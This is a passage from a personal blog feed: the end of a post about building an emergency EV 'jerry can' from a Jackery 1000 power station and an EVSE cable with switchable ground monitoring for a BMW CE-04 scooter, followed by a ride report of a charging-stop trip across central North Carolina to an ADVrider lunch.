&lt;p&gt;The Jackery 1000 and most other power banks don’t offer a user-accessible ground: the 3rd pin on their sockets is just an empty slot so that a standard 3-prong power cable fits.&lt;/p&gt;
&lt;h3&gt;Overcoming the J1772 Grounding Requirement&lt;/h3&gt;
&lt;p&gt;I tried a number of workarounds, but none of them fooled the EVSE (a fancy acronym for an EV charger cable):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;3-pin to 2-pin converters&lt;/li&gt;
&lt;li&gt;Portable GFCI outlets&lt;/li&gt;
&lt;li&gt;Neutral-Ground Bonding Plugs&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I found a Youtube video demonstrating one method to circumvent ground detection, but it seemed overly hacky, bulky, and potentially dangerous. I also contacted the&lt;a href=&quot;https://evdoctor4earth1.weebly.com/&quot;&gt; EVDOCTOR&lt;/a&gt; for advice, who recommended that if I opened the Jackery, I’d likely find a metal ground internal.&lt;/p&gt;
&lt;p&gt;I had read about some of the cheaper EVSE cables not implementing ground, and the EVDOCTOR hinted that the easiest path forward would be ordering the cheapest EVSE I could and returning it if it implemented ground.&lt;/p&gt;
&lt;p&gt;There is no comprehensive list of EVSE cables that can be used without a ground, but I did find hints suggesting that these may work:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.mynissanleaf.com/viewtopic.php?t=31649&quot;&gt;Southking SK-EV16&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Toyota Prius PHEV cable&lt;/li&gt;
&lt;li&gt;Honda Clarity PHEV cable&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/diy-electric-jerry-can/Mcm4YXHJ.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I looked at the cheapest EVSE cables on Amazon and found one that seemed perfect: a 13ft “travel” cord that supported 220V/110V and allowed ground monitoring to be toggled:&lt;a href=&quot;https://www.amazon.com/dp/B0BBPNGPML?psc=1&amp;amp;ref=ppx_yo2ov_dt_b_product_details&quot;&gt; Sankaba Level 2 EV Charger,16Amp EV Charger Station,NEMA 5-20 Plug EV Charger Level 2,100-240v Portable EV Charger&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Notably, the ad mentions that there is a “Ground Setting” available:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;After entering the menu, there are two options.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;The device can detect whether the input power supply of the product connected ground wire. If the user&#39;s power input is not equipped with ground wire, the device cannot work normally. You should select the second option to connect it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;For security, it will be ensured that the power input is protected by a ground wire.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I bought the Sankaba, and it works just fine with the Jackery 1000 out of the box. The OEM appears to be &amp;quot;Ningbo Yiwei New Energy Technology Co., LTD&amp;quot; with a model number of EV-SAE-AC16-P. This EVSE is also sold under the name of Sunsky.&lt;/p&gt;
&lt;h3&gt;Modding the Jackery case&lt;/h3&gt;
&lt;p&gt;I expected the Jackery 1000 would be barely too tall to fit in the helmet compartment on the CE-04, but I was confident I could remove the top handle if it became a problem. When I received the unit, I learned I was right:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/diy-electric-jerry-can/zvB63J21.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I found a&lt;a href=&quot;https://www.youtube.com/watch?v=AKxt4eAwKRU&amp;amp;t=238s&quot;&gt; teardown video&lt;/a&gt; for the Jackery and was happy to see that the handle was empty plastic, so I took a hacksaw to it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/diy-electric-jerry-can/MHp8Ob11.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;With that, the Jackery fits just barely in the helmet compartment. I sanded down the leftover corners of the handle to improve clearance and even added a carrying strap.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/diy-electric-jerry-can/yhAfzJdd.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;The finished product&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/diy-electric-jerry-can/ngBwOroN.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once assembled, using the Jackery Electric JerryCan is easy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;On the BMW CE-04, set the maximum amperage to 10A&lt;/li&gt;
&lt;li&gt;Place the charging brick in the shade to prevent overheating&lt;/li&gt;
&lt;li&gt;Hit the “AC” button on the Jackery 1000&lt;/li&gt;
&lt;li&gt;Plug the charging cable in on both ends&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It takes about 45 minutes to fully discharge the Jackery’s battery fully over 110V, adding 750Wh - or about 9.3% charge to the BMW CE-04. Due to the inefficiency of DC-&amp;gt;AC-&amp;gt;DC conversion, you will not get the full 1002Wh. The charge is good enough for emergency use, as it’s enough for this scooter to make it 6 miles (10 km) further to a real charger.&lt;/p&gt;
&lt;p&gt;As the auxiliary battery takes up nearly the entire helmet compartment, I store the EVSE cable in my top case with other emergency tools:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/diy-electric-jerry-can/mCH3LZOR.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Bill of Materials&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Jackery 1000 (1002Wh portable battery): $827&lt;/li&gt;
&lt;li&gt;Shoulder Dolly HandyLifter Carrying Strap: $13&lt;/li&gt;
&lt;li&gt;6-20P to 5-15 adapter: $8&lt;/li&gt;
&lt;li&gt;Sankaba/Sunsky EVSE L2 Charger (no grounding requirements): $96&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Questions I’ve received&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Why not place the battery in the top case? It’s too heavy: the top case on the CE-04 is only rated to carry 5kg (11 lbs).&lt;/li&gt;
&lt;li&gt;Can you charge the Jackery 1000 up at an EV charger? Probably with the right adapters, but you wouldn’t want to, as it takes 8 hours to recharge. The newer 1000 Pro charges in 1.8 hours.&lt;/li&gt;
&lt;li&gt;Is there a 220V option? Yes! I could not find any in the US, but you can buy 220V portable power stations in Europe. They will even charge the CE-04 charge twice as fast!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you have any questions, find me on&lt;a href=&quot;https://triangletoot.party/@thomrstrom&quot;&gt; Mastodon&lt;/a&gt; or e-mail me at t&lt;AT&gt;stromberg.org.&lt;/AT&gt;&lt;/p&gt;
</content>
  </entry><entry>
    <title>An electrifying ride to Pik N Pig</title>
    <link href="https://choosehappy.dev/posts/2023/an-electrifying-ride-to-pik-n-pig/"/>
    <updated>2023-05-04T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2023/an-electrifying-ride-to-pik-n-pig/</id>
    <content xml:lang="en" type="html">&lt;p&gt;A few Saturdays ago, I ventured to central North Carolina to join the local ADVrider crew for lunch as part of the confusingly named&lt;a href=&quot;https://www.advrider.com/f/threads/eastern-nc-advrider-dinner.249043/page-322#post-47574729&quot;&gt; &amp;quot;Eastern Nc Advrider Dinner&amp;quot; thread&lt;/a&gt;. I took my trusty &lt;a href=&quot;https://www.bmwmotorcycles.com/en/models/urban_mobility/ce04.html&quot;&gt;BMW CE-04&lt;/a&gt; along - a quirky urban electric scooter (and the most fun I’ve had on two wheels).&lt;/p&gt;
&lt;p&gt;While the trip was only 138 miles of backroads (an absurd amount for any GS owner), that&#39;s a fair journey on a scoot that only averages 62 miles of range in this environment. This trip includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;4 hours of riding&lt;/li&gt;
&lt;li&gt;2 hours of charging ($0.86)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/upload_2023-5-3_9-34-28-png.4812385/&quot; alt=&quot;upload_2023-5-3_9-34-28.png&quot; /&gt;&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;&lt;strong&gt;Leg 1: Chapel Hill to Pittsboro&lt;/strong&gt;
&lt;em&gt;18 miles, 38 minutes riding, 19 minutes charging&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;This particular morning came just after our 16th wedding anniversary, so my wife followed in the cage so we could brunch together.&lt;/p&gt;
&lt;p&gt;When traveling with an EV, I&#39;ll often plan my charging stops at places where I can simultaneously enjoy a great meal so that I can kill two birds with one stone - as well as support the businesses that support my ability to get around. Accordingly, today&#39;s destination was &amp;quot;Cafe Root Cellar&amp;quot; in Pittsboro, a brunch place often lauded as one of the best in the state, which has two EV chargers up front.&lt;/p&gt;
&lt;p&gt;Between us and brunch is UNC Chapel Hill - the first public university in the United States. The campus is quiet: there are more fans of the original &lt;a href=&quot;https://www.motorcyclenews.com/bike-reviews/kawasaki/versys-650/2006/&quot;&gt;Versys design&lt;/a&gt; than people milling about at 8 am on a Saturday. Riding past campus, I jump on US Route 15/501, which alternates between an expressway and a surface road.&lt;/p&gt;
&lt;p&gt;After pulling into the Root Cellar parking lot, I see that my plans are dashed, as they are not open on Saturday mornings. I hopped into Google Maps to find a plan B, and there it was: a small Cafe at a Bed &amp;amp; Breakfast, aptly named “Small Cafe B and B.”&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_131745623-1-jpg.4812393/&quot; alt=&quot;PXL_20230415_131745623(1).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The food here was spectacular, particularly today’s special: Burek.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_132634479-1-jpg.4812399/&quot; alt=&quot;PXL_20230415_132634479(1).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It&#39;s a traditional Serbian meat pie, or more specifically, baked phyllo dough stuffed with pork sausage, spinach, potato, caramelized onions, peppers, shredded sheep&#39;s milk cheese, garlicky yogurt, and in this case, topped with herb salad.&lt;/p&gt;
&lt;p&gt;A burek is typically served for breakfast and made its way to Serbia via Turkey during the Ottoman Empire. Many variations exist depending on where you are - The Turks have &amp;quot;Börek&amp;quot;, Sephardic Jews have &amp;quot;bourekas&amp;quot;, and Tunisians have &amp;quot;&lt;a href=&quot;https://en.wikipedia.org/wiki/Brik&quot;&gt;brik&lt;/a&gt;&amp;quot;. The only consistent thing is that it&#39;s phyllo dough stuffed with savory goodness.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_134956109-1-jpg.4812401/&quot; alt=&quot;PXL_20230415_134956109(1).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I never turn down Turkish Coffee when available, and this place delivered. Eventually, though, if I were going to make it in time for the ADVrider lunch and the route I had in mind, I would have to head out. Unfortunately, while leaving out the back entrance onto East St, I had the closest call yet on my scooter.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.advrider.com/f/attachments/untitled_artwork-jpg.4812403/&quot;&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/an-electrifying-ride-to-pik-n-pig/4598515-75523004956e1eb7ca651105982d449d.jpg&quot; alt=&quot;Untitled_Artwork.jpg&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;East St is a busy road. Back when I lived out here 20 years ago, it was known as Highway 64, but that road has since bypassed downtown. I knew there would only be a brief moment in time where the gap was big enough to make a left out of here, so I scooted as far down the gravel driveway as I could. Unfortunately, in doing so, my sight lines were significantly blocked by the two cars that were parked to my left. I looked at the gaps between the trees and the cars, and tried to count how many cars I saw entering and exiting the gaps so that I would know when the gap was close enough to enter.&lt;/p&gt;
&lt;p&gt;After waiting 5 minutes for it to be clear, I pulled out of the gravel driveway. As I did so, I glanced leftwards and saw a Toyota pickup barreling toward me, 4-6 feet away. I instinctively yanked the throttle to get the hell out of the way and made a graceful left turn, thankful that the CE-04 has plenty of get up and go, particularly at speeds under 35mph.&lt;/p&gt;
&lt;p&gt;I was practically shaking afterward. I thought a lot about this situation for the rest of the day. I had suffered a perception error, but how did I miss that pick-up truck? Could I have handled the situation better? Would it have been better or worse if I had made a right-hand turn instead? Even in hindsight, I don’t know the answers to these questions. I know I was thankful to be ATGATT, including an &lt;a href=&quot;https://helitemoto.com/helite-e-turtle-2-airbag-vest-hivis-electronic-trigger/&quot;&gt;airbag jacket.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_135902664-1-jpg.4812445/&quot; alt=&quot;PXL_20230415_135902664(1).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since I couldn’t charge during breakfast, I headed to the playfully decorated Chatham Beverage District to top off on my way to Robbins. I arrived there with an estimated 66% of battery and an estimated 44 miles of range, with 38 miles to my next charging stop. My routing software, ABRP, suggested that I charge up to 93% so that I roll into my next stop with 20% of spare capacity, so that’s what I aimed for.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_141309710-2-jpg.4812449/&quot; alt=&quot;PXL_20230415_141309710(2).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The district has a unique history: once the site of one of the largest flower farms on the East Coast, it became the site of a failed aluminum research facility, then a bio-fuels production facility, and eventually a consortium of meaderies, breweries, and distilleries. It also hosts the local farmers market, places to walk around and picnic, and a couple of free EV charging stations.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_140246458-1-jpg.4812447/&quot; alt=&quot;PXL_20230415_140246458(1).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Charging from 66% to 93% took 19 minutes. The CE-04 isn’t the fastest charging bike out there (see Energica!), but also not the slowest. Content with the state of charge, I set the BMW navigation mode to “Winding route” and headed southwest toward Robbins.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Leg 2: Pittsboro to Goldston to Robbins&lt;/strong&gt;
&lt;em&gt;38 miles, 1 hour of riding, 1 hour of charging&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Goldston is a straight shot via 902 &amp;amp; Goldston-Pittsboro road: a boring route, but at least the road conditions were good.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_144414722-1-jpg.4812485/&quot; alt=&quot;PXL_20230415_144414722(1).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Turning off at Lancaster Dr, I spotted a cemetery behind Goldston Methodist Church, where I noticed a gravestone for Ulysses S. Grant Daurity. I can&#39;t imagine how rebellious of a name this must have been in 1874 around these parts. I researched the name to learn more about him but came up empty-handed. It appears that &amp;quot;Daurity&amp;quot; is a North Carolina-specific corruption of &amp;quot;Doherty&amp;quot; (from the Gaelic O&#39;Dochartaigh).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_144643987-mp-1-jpg.4812487/&quot; alt=&quot;PXL_20230415_144643987.MP(1).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I soon arrived in &amp;quot;downtown&amp;quot; Goldston, or at least as downtown as you can get in a town with a population of 239. Initially called &amp;quot;Corinth&amp;quot;, it came into being just 10 years after the aforementioned Ulysses was born. It owes its life to the railroad that runs through it, and is most notable as where Charlie Daniels went to high school before he wrote a song about a devil who went to Georgia.&lt;/p&gt;
&lt;p&gt;https://www.youtube.com/watch?v=2icMPorsH60&lt;/p&gt;
&lt;p&gt;Evidently, there is a mural of him somewhere here, but I missed it. I also missed that the Goldston library has two free EV chargers I could have used instead of wasting my time in Pittsboro. One of the downsides of the decentralized anarchy of EV chargers is that no single website or database has a comprehensive list: the best today is &lt;a href=&quot;https://www.plugshare.com/&quot;&gt;Plugshare&lt;/a&gt;, which did not know about this particular charger until I added it, but &lt;a href=&quot;https://map.openchargemap.io/&quot;&gt;https://map.openchargemap.io&lt;/a&gt; did.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_145503404-2-jpg.4812497/&quot; alt=&quot;PXL_20230415_145503404(2).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Outside of Goldsboro is predominantly agricultural and feels like one bucolic scene flowing into the next. I passed within feet of the center of North Carolina (&lt;a href=&quot;https://www.google.com/maps/place/35%C2%B033&#39;20.5%22N+79%C2%B023&#39;15.7%22W/@35.5429082,-79.4701859,12z/data=!4m10!1m5!3m4!2zMzXCsDMzJzIwLjUiTiA3OcKwMjMnMTUuNyJX!8m2!3d35.5556944!4d-79.3876944!3m3!8m2!3d35.5556944!4d-79.3876944?hl=en&quot;&gt;35°33&#39;20.5&amp;quot;N 79°23&#39;15.7&amp;quot;W&lt;/a&gt;), as per the US Geological Survey. I also passed by signs for the &lt;a href=&quot;https://historicsites.nc.gov/all-sites/house-horseshoe&quot;&gt;House-In-the-Horseshoe Historic Park&lt;/a&gt; - named after how it sits within the curve of the Deep River, and the site of a Revolutionary War battle. I planned to stop by there on the way home if time permits.&lt;/p&gt;
&lt;p&gt;I followed the Deep River west, toward High Falls. There’s a &lt;a href=&quot;https://www.uniqueplacestosave.org/high-falls-dam&quot;&gt;controversial abandoned dam&lt;/a&gt; there. The dam is impacting an endangered species of fish, but the locals like to fish the dam and have so far resisted its demolition. I saw quite the opposite reaction living in California, where the locals begged to demolish dams to protect fish, and the dam owners dragged their feet.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_151006403-mp-2-jpg.4812503/&quot; alt=&quot;PXL_20230415_151006403.MP(2).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Passing over the Deep River, I spotted the High Falls Oil Company. Based on the look of the building, it had been abandoned decades ago. However, Google Streetview shows this building was actively occupied until at least 5 years ago. It seems to have aged like a meth-addicted hillbilly.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_152046394-1-jpg.4812513/&quot; alt=&quot;PXL_20230415_152046394(1).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I rolled into the charger at Robbins, NC (hosted by the local electric coop), with 15% left on the battery, according to my pollen-encrusted dash. That&#39;s 5% less than my routing software (&lt;a href=&quot;https://abetterrouteplanner.com/&quot;&gt;https://abetterrouteplanner.com/&lt;/a&gt;) predicted. I blame speeding, but part of the problem is that ABRP doesn&#39;t know the specific characteristics of the BMW CE-04, so I instead tell it I ride a &amp;quot;Zero SDS ZF 7.2 + PT&amp;quot; that gets 202 Wh/mi @ 65mph. It&#39;s close enough.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_152318700-1-jpg.4812515/&quot; alt=&quot;PXL_20230415_152318700(1).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;My goals here were 3-fold: find the charger, find coffee, and find the river to wander around.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_152618740-1-jpg.4812521/&quot; alt=&quot;PXL_20230415_152618740(1).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I grabbed a cold brew from &amp;quot;Simply Coffee&amp;quot;, opened up Google Maps, and spotted a park along the river within walking distance.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_160716388-1-jpg.4812525/&quot; alt=&quot;PXL_20230415_160716388(1).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The town of Robbins was originally named Mechanic&#39;s Hill, founded in 1795 when Alexander Kennedy founded a famous rifle manufacturer here: &amp;quot;&lt;a href=&quot;https://www.thepilot.com/news/features/rifles-of-bear-creek-a-look-at-the-colonial-kennedy-long-rifle-factory/article_fe30303a-3155-11e8-80ba-6fbf4b3f0741.html&quot;&gt;The Kennedy Rifle Works&lt;/a&gt;&amp;quot;. In its time, it was the largest arms factory in the area. Today, most of us think of mechanics as people who fix things, but initially, the term included the folks who built mechanical things - such as long rifles. Later, the town was known as Hemp.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_161532427-2-jpg.4812527/&quot; alt=&quot;PXL_20230415_161532427(2).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Walking into the &amp;quot;Bear Creek Trail System&amp;quot;, you immediately see the abandoned waterworks building. This building was built in part by the efforts of Karl Robbins, who owned a nearby textile mill. Karl was a prominent philanthropist and did many great things for the town, enough that it renamed itself in his honor in 1943. Karl is also the guy who bought the land to create Research Triangle Park in 1959. He got around!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_161135104-1-jpg.4812529/&quot; alt=&quot;PXL_20230415_161135104(1).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As you take the riparian forest trail further down the hill, the deciduous trees soon give way to canebrake - specifically &amp;quot;&lt;a href=&quot;https://ebci.ces.ncsu.edu/2020/12/what-is-rivercane-and-why-is-it-important/&quot;&gt;river cane&lt;/a&gt;&amp;quot; I had never heard the term &amp;quot;canebrake&amp;quot; before moving to North Carolina, but it&#39;s used to describe a thicket or colony of native North American bamboo. When the European settlers came, they described endless seas of canebrakes. At the time, much of the Southeast was covered in canebrakes; individual colonies could be thousands of acres large.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_161246269-1-jpg.4812531/&quot; alt=&quot;PXL_20230415_161246269(1).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After browsing around the river, I figured it was time to get back to the bike, which had charged itself to 96% over the hour I had goofed around Robbins - costing $0.86.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Leg 3: Robbins to Carthage (ADV lunch!)&lt;/strong&gt;
&lt;em&gt;18 miles, 35 minutes of riding, 0 minutes of charging&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I headed to Carthage via Plank Rd and Hwy 27, which were that&#39;s exciting. Sometimes the &amp;quot;Windy&amp;quot; mode on the BMW Connected software delivers, but most of the time the routes are fairly pedestrian.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_184537479-1-jpg.4812559/&quot; alt=&quot;PXL_20230415_184537479(1).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Downtown Carthage felt like an old city revitalized, with signs everywhere that harkened back to its distant past. Founded in 1785, Carthage is one of North Carolina&#39;s older cities - 7 years older than the current state capital of Raleigh. Its heyday was in the late 19th century when the nearby Tyson Jones Buggy Factory was producing 3,000 horse-drawn buggies a day. The city still hosts an annual &lt;a href=&quot;https://www.thebuggyfestival.com/&quot;&gt;Buggy Festival&lt;/a&gt; to celebrate its past -- the next one is May 13th, 2023!&lt;/p&gt;
&lt;p&gt;I had time to kill, so I rolled by the only EV charger I knew of in town, at Cooper Ford, a couple of miles south. The charger was in use by a shiny new 2023 Ford E-Transit Van with a battery that was 8X the size of my own, so I figured it might be parked there for a while &amp;amp; headed to the &lt;a href=&quot;http://www.pik-n-pig.com/&quot;&gt;Pik N Pig.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_170233411-mp-1-jpg.4812563/&quot; alt=&quot;PXL_20230415_170233411.MP(1).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Located at Gilliam-McConnell Airfield, the Pik N Pig advertises itself as the best BBQ in North Carolina. I’m not yet convinced, but it’s at least the best BBQ that you can fly an airplane to and from. I navigated through a sea of parked cars and motorcycles, looking for vaguely ADV&#39;ish bikes - and soon spotted &lt;a href=&quot;https://www.advrider.com/f/members/gordonfreeman.172284/&quot;&gt;GordonFreeman&lt;/a&gt; on his beautiful KTM 1290R. &lt;a href=&quot;https://www.advrider.com/f/members/iron-cross-junction.288805/&quot;&gt;Iron Cross Junction&lt;/a&gt; pulled in behind me on his Guzzi; though he swore up and down he wasn&#39;t here for an ADV lunch.&lt;/p&gt;
&lt;p&gt;I soon realized we needed a better way of identifying who else was with the ADVrider community, other than accosting anyone with a vaguely dual-sport bike or Klim gear. I regret not bringing my shirt. It took 30 minutes for a table to free up, and one by one, we found other folks: &lt;a href=&quot;https://www.advrider.com/f/members/truck6driver.70414/&quot;&gt;truck6driver&lt;/a&gt;, &lt;a href=&quot;https://www.advrider.com/f/members/minime.387668/&quot;&gt;MiniMe&lt;/a&gt;, &lt;a href=&quot;https://www.advrider.com/f/members/frankencycle.285993/&quot;&gt;Frankencycle&lt;/a&gt;, &lt;a href=&quot;https://www.advrider.com/f/members/turbo-ghost.107014/&quot;&gt;Turbo Ghost&lt;/a&gt;, and some others whose names I&#39;ve since forgotten.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_183245166-2-jpg.4812565/&quot; alt=&quot;PXL_20230415_183245166(2).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We talked a lot about guns, our experiences with the military, and the dumb things people do on two wheels. I&#39;m not much into guns, but I know a lot about dumb things on motorcycles. Watching the planes coming in and out was like observing a conveyer belt of privilege - though I probably shouldn&#39;t talk as someone rolling in on a BMW.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_175533536-1-jpg.4812569/&quot; alt=&quot;PXL_20230415_175533536(1).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The pulled pork &amp;amp; sauce were good, but not delicious to the point of going out of your way to get there. It&#39;s mostly hype. Still, the company was excellent. Judging by other people&#39;s plates, I&#39;ll order the brisket &amp;amp; Pepsi-Cola cake next time. After hanging out for an hour and a half, I needed to head out - I was supposed to be back by 4 pm to make it in time for a party and had at least an hour ride and a 30-minute charge ahead. Before leaving Carthage, I got one last photo of my bike downtown, complete with muddy boots:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_184549389-portrait-3-jpg.4812573/&quot; alt=&quot;PXL_20230415_184549389.PORTRAIT(3).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Leg 4: Carthage to Sanford&lt;/strong&gt;
_20 miles, 47 minutes of riding, 37 minutes of charging&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_185502228-portrait-original-2-jpg.4812615/&quot; alt=&quot;PXL_20230415_185502228.PORTRAIT.ORIGINAL(2).jpg&quot; /&gt; _&lt;/p&gt;
&lt;p&gt;I set the BMW navigation app to &amp;quot;Winding route&amp;quot; again and set my sights toward Sanford. I know from experience that Downtown Sanford Horner Square has a wonderfully convenient and free charger, and from here, I&#39;m going to need a charge to get back home.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_190426014-portrait-original-1-jpg.4812623/&quot; alt=&quot;PXL_20230415_190426014.PORTRAIT.ORIGINAL(1).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The roads here (Old River Rd, Torchwood Rd) are my favorite of the day. They rhythmically wind through the picturesque pastoral landscape. Before long, I&#39;m in suburban hell, which eventually opens up into the charming brick shape of Sanford.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_192752625-1-jpg.4812625/&quot; alt=&quot;PXL_20230415_192752625(1).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Sanford is a surprisingly charming town. It’s yet another town born of railroads, but brick-making also played a massive role in its success. Nearly every building downtown is made from brick, and many have beautiful murals too. There are numerous lively and accessible local businesses, which give Sanford a hipper feel than most of the towns in rural North Carolina. It&#39;s still &amp;quot;Country enough&amp;quot; that the rural 20-somethings can be easily found revving and racing down Horner Blvd.&lt;/p&gt;
&lt;p&gt;As much as I love the concept of a free EV charger, this location epitomizes the problems of misplaced incentivization:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;One charger is always in use by the same black Tesla Model 3. Probably an employee of a local shop.&lt;/li&gt;
&lt;li&gt;One charger has been half-broken for over a year.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The half-broken charger is workable for many vehicles, but only if you know to depress the broken J1772 latch while plugging it into your vehicle. Thanks to &lt;a href=&quot;https://www.plugshare.com/location/116454&quot;&gt;Plugshare&lt;/a&gt;, I knew that. This trick apparently won&#39;t work for Tesla&#39;s, however.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_192629404-mp-1-jpg.4812629/&quot; alt=&quot;PXL_20230415_192629404.MP(1).jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;On my way to my favorite coffee shop, I passed by the Lee County Republican Headquarters, which has the sort of fear-mongering signs you&#39;ve come to expect from the Republican Party of 2023. My usual coffee place was closed, so I grabbed an iced coffee from a place I had not tried before, Family Grounds Cafe. Nearby I found another great mural - you can&#39;t go more than a block in Sanford without stumbling onto one:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.advrider.com/f/attachments/pxl_20230415_194727275-1-jpg.4812631/&quot; alt=&quot;PXL_20230415_194727275(1).jpg&quot; /&gt;&lt;/p&gt;
